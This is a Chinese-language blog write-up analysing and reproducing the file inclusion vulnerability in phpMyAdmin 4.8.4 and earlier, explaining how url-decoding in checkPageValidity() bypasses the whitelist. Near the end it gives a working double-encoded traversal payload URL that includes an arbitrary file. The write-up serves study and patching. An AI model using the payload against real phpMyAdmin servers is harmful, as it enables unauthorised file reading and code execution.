phpmyadmin<=4.8.4 后台文件包含分析与复现

首先还是函数介绍

函数介绍
$_REQUEST['target']
和$_get $_POST的不必多说
我们主要看这个函数
mb_substr()
$string = "0123456789你好";
/** start > 0  length > 0*/
$mystring = mb_substr( $string, 5, 1 );
echo $mystring . PHP_EOL; // 5
$mystring = mb_substr( $string, 5, 2 );
echo $mystring . PHP_EOL; // 56
$mystring = mb_substr( $string, 10, 2 );
echo $mystring . PHP_EOL; // 你好


和函数mb_strpos
$str = "Hello World! Hello PHP";
$pos = mb_strpos( $str, "Hello", 0, mb_internal_encoding() );
echo $pos . PHP_EOL;//0
$pos = mb_strpos( $str, "Hello", 2, mb_internal_encoding() );
echo $pos . PHP_EOL;//13

$_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
从上面的分析不难看出这段代码的意思就是截取?page问号之前的长度也就是什么.php拿来和witelist对比 一个urlcode造成了此次车祸的现场

 好的我们来看到index.php的代码

 这里出现了include $_REQUEST['target'];这里代码量太少了没必要动态调试

直接跟进看如何传入的target  看到了这五个条件

if (! empty($_REQUEST['target']) //target不为空
    && is_string($_REQUEST['target'])//target是字符
    && ! preg_match('/^index/', $_REQUEST['target'])//以index开头的target参数也就是index.php后面dtarget
    && ! in_array($_REQUEST['target'], $target_blacklist) //taget不在黑名单里面
    && Core::checkPageValidity($_REQUEST['target'])//这里调用了checkpage方法 我们跟进看一下方法 必须返回ture
) {

我们继续跟进方法 看到这里定义了 进去看看

public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist; //判断白名单是否为空空的话我们把他设置为上面定义了的
        }
        if (! isset($page) || !is_string($page)) {
            return false; //page是string这个很简单
        }

        if (in_array($page, $whitelist)) {
            return true; //page再白名单这个也很简单
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?') //这两个函数上面介绍了 不多说
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page); //这里是inculde的关键 在于url编码后可以rao'g
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?') 
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

不难看出这里有三种方式返回Ture

第一种
{
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }
直接取整个target的值判断是否在白名单 我们想包含的的话只能写成
比如想包含i.txt 在同级目录下面
那么我们写成i。txt
target=i.txt 显然不在wiletlist里面所以这种True不可取
第二种
$_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
取target=sql.php?问好前面的值sql.php判断是否在白名单内 如果在就返回Ture
那么我们只能构造sql.php?。。/。。/。。/i.txt 显然include("sql.php?../../../");是错误的语法不可以取
那么我们看到第三种
$_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }
只是执行了一个urldecode
其他没变
那么机会来了 %3f也是问号啊
我们传入sql.php%3f。。/。。/。。/i.txt这样include("sql.php%3f../../../")是能够执行的而且判断白名单也是在urldecode后判断的 那么我们的payload就出来了

 构造payload 失败了 why?

(withlist里面的任意文件)%3f。。/。。/。。/。。/1.txt

 

 浏览器理所当然的要进行url编码一次 so 我们构造

http://www.zhong.com/1/1/index.php?target=pdf_schema.php%253f../../../../../../../../../../../../../../../phpstudy_proWWW1.txt

 执行成功

我们来对比一下补丁文件

 这里再后面加了两个参数 第三个参数为True 跟进方法看一下

相当于后面的废除了 这里写死了inculde=true 就是不让你执行后面两种true的方法了  

文献参考

https://xz.aliyun.com/t/5534
https://www.php.net/mb_substr
https://www.runoob.com/php/func-string-mb_substr.html
原文地址:https://www.cnblogs.com/-zhong/p/12411728.html